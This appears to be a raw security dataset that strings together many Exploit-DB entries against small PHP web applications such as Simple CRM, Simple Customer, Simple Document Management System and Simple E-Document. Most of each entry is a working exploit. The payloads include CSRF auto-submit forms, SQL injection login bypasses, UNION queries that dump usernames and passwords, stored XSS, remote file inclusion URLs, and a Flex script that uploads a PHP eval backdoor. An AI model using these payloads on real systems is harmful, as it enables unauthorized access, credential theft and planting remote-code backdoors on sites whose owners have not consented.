deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50043
Description: Simple CRM 3.0 - 'Change user information' Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-06-21
Author: Riadh Benlamine

Exploit:
# Exploit Title: Simple CRM 3.0 - 'Change user information' Cross-Site Request Forgery (CSRF)
# Date: 20/06/2021
# Exploit Author: Riadh Benlamine (rbn0x00)
# Vendor Homepage: https://phpgurukul.com/
# Software Link:   https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Category: Webapps
# Tested on: Apache2+MariaDB latest version
# Description : Simple CRM suffers from Cross-site request forgery, which the attacker can manipulate user data via triggering user to visit suspicious url

Vulnerable page: /crm/profile.php

POC:
----
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/crm/profile.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="alt&#95;email" value="" />
      <input type="hidden" name="phone" value="[PII_REDACTED]" />
      <input type="hidden" name="gender" value="m" />
      <input type="hidden" name="address" value="jgjgjgjjggjcsrf" />
      <input type="hidden" name="update" value="Update" />
      <input type="submit" value="Exploit" />
    </form>
  </body>
</html>
Exploit-DB #50055
Description: Simple CRM 3.0 - 'email' SQL injection (Authentication Bypass)
Type: webapps
Platform: php
Date: 2021-06-23
Author: Rinku Kumar

Exploit:
# Exploit Title: Simple CRM 3.0 - 'email' SQL injection (Authentication Bypass) 
# Date: 22/06/2021
# Exploit Author: Rinku Kumar (rinku191)
# Vendor Homepage: https://phpgurukul.com/
# Software Link:   https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Category: Webapps
# Tested on: Apache2+MariaDB latest version
# Description : Simple CRM suffers from SQL injection vulnerability, allowing an un-authenticated attackers to login into CRM admin panel.


Vulnerable Page: /crm/admin/

POC-Request
-----------------------------------
POST /scrm/crm/admin/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/scrm/crm/admin/
Cookie: PHPSESSID=oj0mohnmrt809ndld8pg1p9f14
Upgrade-Insecure-Requests: 1

email='+or+2>1+--+&[CREDENTIAL_REDACTED]=

---------------------------------------
POC-Response

HTTP/1.1 200 OK
Date: Tue, 22 Jun 2021 15:53:00 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.33
X-Powered-By: PHP/7.2.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 48
Connection: close
Content-Type: text/html; charset=UTF-8

<script>window.location.href='home.php'</script>
Exploit-DB #50044
Description: Simple CRM 3.0 - 'name' Stored Cross site scripting (XSS)
Type: webapps
Platform: php
Date: 2021-06-21
Author: Riadh Benlamine

Exploit:
# Exploit Title: Simple CRM 3.0 - 'name' Stored Cross site scripting (XSS)
# Date: 20/06/2021
# Exploit Author: Riadh Benlamine (rbn0x00)
# Vendor Homepage: https://phpgurukul.com/
# Software Link:   https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Category: Webapps
# Tested on: Apache2+MariaDB latest version
# Description : Simple CRM suffers from Cross-site scripting, allowing authenticated attackers to obtain administrator cookies.

Vunlerable page: /crm/profile.php

POC:
----
POST /crm/profile.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 779
Origin: http://localhost
Connection: close
Referer: http://localhost/crm/profile.php
Cookie: PHPSESSID=l0iqlrmehhcasinv0ip09e3ls1
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="name"
<script>alert('xss')</script>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="alt_email"

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="phone"[PII_REDACTED]

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="gender"
m

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="address"

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="update"
Update

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--
Exploit-DB #5468
Description: Simple Customer 1.2 - 'contact.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-18
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    Simple Customer  1.2 SQL Injection Vulnerabilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 18 April 2008
Script Download: http://www.simplecustomer.com/download?file=1
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Simple Customer is vulnerable due to MULTIPLE insecure mysql querys the querys take php $_GET variables and does
not do any sanitizing at all.

below are 2 sql injections, the first one will display admin user/pass



SQL Injection:

ADMIN: http://site.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/WHERE/**/user_level=1/*

USER:  http://site.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/LIMIT/**/0,1/*



NOTE/TIP: 
passwords in plain text


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


--==+================================================================================+==--
--==+		    Simple Customer  1.2 SQL Injection Vulnerabilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-18]
Exploit-DB #7146
Description: Simple Customer 1.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-17
Author: d3b4g

Exploit:
###############################################################################################
[-] Simple Customer  1.2 Remort (Auth bypass) SQL Injection Vulnerability
[-] Discovered By : d3b4g        
[-] Greetz : All my freind         
################################################################################################
 Go to www.target.com[path]login.php

 Use following information to bypass login.

 Write any email Address as email address.It must to be in email format like somethin@something.com

 For exapmple letmein@inbox.com

 For password use ' or ' 1=1

  Live demo [at] http://www.simplecustomer.com/demo/login.php
--------------------------------------------
--------------------------------------------

# milw0rm.com [2008-11-17]
Exploit-DB #8638
Description: Simple Customer 1.3 - Arbitrary Change Admin Password
Type: webapps
Platform: php
Date: 2009-05-07
Author: ahmadbady

Exploit:
                 ---- Remote Change admin Password----
----------------------------
script:Simple Customer 1.3
----------------------------
Author: ahmadbady
email:kivi_hacker666@yahoo.com

--------------------
download from:http://www.simplecustomer.com/  New (Version 1.3)

--------------------
xpl:



</head>
<body>
<form action="http://www.simplecustomer.com/demo/profile.php" method="post">
<div class="container">
  <div class="leftcolumn">
    <h2>coded by ahmadbady</h2>
    </span>
    <form id="form1" name="form1" method="post" action="">
      <p>Email
        <br />
        <input name="email" type="text" id="email" value="" class="required validate-email" size="35" />
      </p>
      <p><br />
        <input name="password" type="password" id="password" />
          <br />
      </p>
      <p>Home Page<br />
        <input name="Submit2" type="submit" id="Submit2" value="Update" /> 
        </p>
    </form>

# milw0rm.com [2009-05-07]
Exploit-DB #7383
Description: Simple Directory Listing 2 - Cross-Site Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-08
Author: Michael Brooks

Exploit:
Simple Directory Listing 2 - Cross Site File Upload
--------------------------------------------------------------------------------
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="onAppInit()">
	<mx:Script>
		/*  
			Written by Michael Brooks
			
			VUlerablity type: Cross Site File Upload.
			Affects: SDL 2.1 beta1
			Product homepage: http://simpledirectorylisting.net/
			
			SDL has 22+ million downloads from sourceforge.net!
			The top three php projects where hacked in one day using . 
			 
			Exploit built using Flex 3.2 (http://www.adobe.com/go/flex_trial)
			uploads ./backdoor.php in the same directory as SDL2.php
			Backdoor Useage:
			http://10.1.1.155/backdoor.php?e=phpinfo();
			backdoor code:
			<?php eval($_GET[e])?>
			
			More info on Cross Site File Upload Attacks:
			http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/
			Inspired by the work of Petko D. Petkov; pdp
		 * GNUCITIZEN
		 **/
		import flash.net.*;
		private function onAppInit():void{
			var request:URLRequest = new URLRequest("http://10.1.1.155/SDL2.php?action=module&amp;module=ModuleUpload&amp;moduleParams[action]=upload&amp;moduleParams[cwdRelPath]=");	
			request.requestHeaders.push(new URLRequestHeader('Content-Type', 'multipart/form-data; boundary=--------------------------[PII_REDACTED]19201'));       
		 	request.data = unescape('----------------------------[PII_REDACTED]19201%0D%0AContent-Disposition%3A form-data%3B name%3D%22file%22%3B filename%3D%22backdoor.php%22%0D%0AContent-Type%3A text%2Fplain%0D%0A%0D%0A%3C%3Fphp eval%28stripslashes%28%24_GET%5Be%5D%29%29%3F%3E%0D%0A----------------------------[PII_REDACTED]19201%0D%0AContent-Disposition%3A form-data%3B name%3D%22upload%22%0D%0A%0D%0AUpload%0D%0A----------------------------[PII_REDACTED]19201--%0A');
			request.method = URLRequestMethod.POST;
		    navigateToURL(request, '_self');	
		}
	</mx:Script>
</mx:Application>

# milw0rm.com [2008-12-08]
Exploit-DB #34433
Description: Simple Directory Listing 2.1 - 'SDL2.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-22
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/42359/info

Simple Directory Listing is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Simple Directory Listing 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/simpledirectorylisting/SDL2.php?cwdRelPath= '><script>alert(1)</script>
Exploit-DB #2396
Description: Simple Discussion Board 0.1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-19
Author: CeNGiZ-HaN

Exploit:
Simple Discussion Board Multiple F.le Inclusion Vulnerability

credit: CeNGiZ-HaN
mail: cengiz-han@system-defacers.org
team: www.system-defacers.org
Script: Simple Discussion Board (sdb)
Download Adress:http://prdownloads.sourceforge.net/sdb/sdb-0.1.0.tar.gz
class: Remote
Risk: High

Exploit:

http://[target]/[path]/blank.php?env_dir=shell
http://[target]/[path]/blank.php?script_root=shell
http://[target]/[path]/admin.php?env_dir=shell
http://[target]/[path]/builddb.php?env_dir=shell


GreeTz No One ;)

# milw0rm.com [2006-09-19]
Exploit-DB #14262
Description: Simple Document Management System - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-07
Author: Sid3^effects

Exploit:
########################################################
#   I'm SiD3^effects member from Inj3ct0r Team         #
#    Support e-mail  : submit[at]inj3ct0r.com          #
########################################################
Name : SDMS(Simple document management system) SQli Vulnerability
Date : july, 7 2010
Critical Level 	: HIGH
Vendor Url : http://sdms.cafuego.net/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
######################################################################################################
Xploit :SQli Vulnerability

Demo Url :http://server/detail.php?doc_id=[sqli]
#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #6987
Description: Simple Document Management System 1.1.4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-04
Author: Yuri

Exploit:
SDMS Simple Document Management System v1.1.4 SQL Injection
___________________________________________________________________________

	Author: Yuri


	Program: SDMS Simple Document Management System
	Version: v1.1.4 (and probably all older versions as well)
	Website: http://sdms.cafuego.net/


How it works
___________________________________________________________________________
The login system is very insecure, this is the code we are going to abuse:

	$result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");

	$row = @mysql_fetch_array($result);

	if( $row[0] != 0 ) {

		header("Location: index.php");

		exit;

	}

	$result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
	$row = @mysql_fetch_array($result);

	$id = $row[id];

	$name = $row[name];

If the result of the first query is 0, it selects the id and name from the
user entered at the login page. There is no filter on $pass.

So if we enter 
	user: Admin (case insensitive)
	password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --

The resulting query looks like this:

	SELECT pass != PASSWORD('') FROM users WHERE id=-1 UNION SELECT 0 FROM users --') FROM users WHERE user='$login'

which is always 0, so voila, admin access.

___________________________________________________________________________

						Yuri // 04 - 11 - 2008

# milw0rm.com [2008-11-04]
Exploit-DB #37414
Description: Simple Document Management System 1.1.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-06-16
Author: JosS

Exploit:
source: https://www.securityfocus.com/bid/54043/info

Simple Document Management System is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Simple Document Management System versions 1.1.5 and 2.0 are vulnerable. 

-----------
version 2.0
-----------

/list.php?folder_id=['foo]
/detail.php?doc_id=['foo]

<code>
line 13: if(isset($_GET['folder_id'])) $folder_id = $_GET['folder_id'];
         ...
line 48: if(isset($order)) {
         $query = "SELECT id,name FROM folders WHERE parent=$folder_id ORDER BY ". rawurldecode($order);
         } else {
         $query = "SELECT id,name FROM folders WHERE parent=$folder_id";
         }
</code>

.xpl! :: /list.php?folder_id=-10+union+all+select+1,1,1,concat_ws(char(58),user,pass,name,email),1,1,1,1,1,1,0+from+users--


~~ [Blind]

/user_photo.php?view=[foo]

<code>
$query = "SELECT photo,mime FROM users_info WHERE id=".$_GET['view'];
  $res = mysql_query($query, $sql);
  if( mysql_num_rows($res) == 1 ) {
    $row = mysql_fetch_array($res);
    header( "Content-type: $row[mime]" );
    echo "". base64_decode($row[photo]) ."";
  } else {
    echo "Badness!\n";
  }
</code>

.poc! :: /user_photo.php?view=2+and+1=1
         /user_photo.php?view=2+and+1=2


-------------
version 1.1.5
-------------

/login.php

<code>
  $result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");
  $row = @mysql_fetch_array($result);
  if( $row[0] != 0 ) {
      header("Location: index.php");
      exit;
  }

  $result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
  $row = @mysql_fetch_array($result);
  $id = $row[id];
  $name = $row[name];
</code>

.xpl! :: user: Admin
         password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --


 __h0__
Exploit-DB #26631
Description: Simple Document Management System 2.0 - 'list.php?folder_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15596/info

Simple Document Management System (SDMS) is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/list.php?folder_id=[SQL]
Exploit-DB #26632
Description: Simple Document Management System 2.0 - 'messages.php?mid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15596/info
 
Simple Document Management System (SDMS) is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/messages.php?forum=1&action=view&mid=[SQL]
Exploit-DB #40544
Description: Simple Dynamic Web 0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-14
Author: lahilote

Exploit:
# Exploit Title.............. Simple Dynamic Web SQL Injection
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10888/simple-dynamic-web-site.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/Chinthaka%20Deshapriya/dynamic_web_page.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /page.php

----snip----

	$prodID = $_GET['prodid'];

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from page where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$ptitle = $getProdInfo["title"];
		$pdes = $getProdInfo["description"];
		$pimg = $getProdInfo["imgUrl"];
				}

----snip----

Example exploitation
--------------------
http://server/path_to_webapp/page.php?prodid=-3%27%20union%20select%201,2,@@version,4--+

How to fix
----------
Simple method's use the php function intval.
For example

	$prodID = intval($_GET['prodid']);

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from page where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$ptitle = $getProdInfo["title"];
		$pdes = $getProdInfo["description"];
		$pimg = $getProdInfo["imgUrl"];
				}


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10888/simple-dynamic-web-site.html
http://php.net/manual/en/function.intval.php
Exploit-DB #45877
Description: Simple E-Document 1.31 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: Simple E-Document 1.31 - 'username' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.tecorange.com/index.php/download-free-open-source-software/79-simple-e-document-free-open-source-document-and-paper-m
# Software Link: https://datapacket.dl.sourceforge.net/project/simplee-doc/simple_e_document_v_1_31.zip
# Version: 1.31
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# //[PATH]//login.php
# ....
#10 if(!isset($_POST['op'])) $_POST['op']='';
#11 if(!isset($_POST['username'])) $_POST['username']='';
#12 if(!isset($_POST['password'])) $_POST['password']='';
#13 if(!isset($op)) $op='';
#14 
#15 $op = $_POST['op'];
#16 $username= stripslashes($_POST['username']);
#17 $[CREDENTIAL_REDACTED]($_POST['password']);
#18 $r_password = md5($password);
#19 
#20 $sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'";
# ....

# POC: 
# 1) 
# http://localhost/[PATH]/login.php
# 
POST /PATH/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 267
username=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 07:44:24 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 241
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8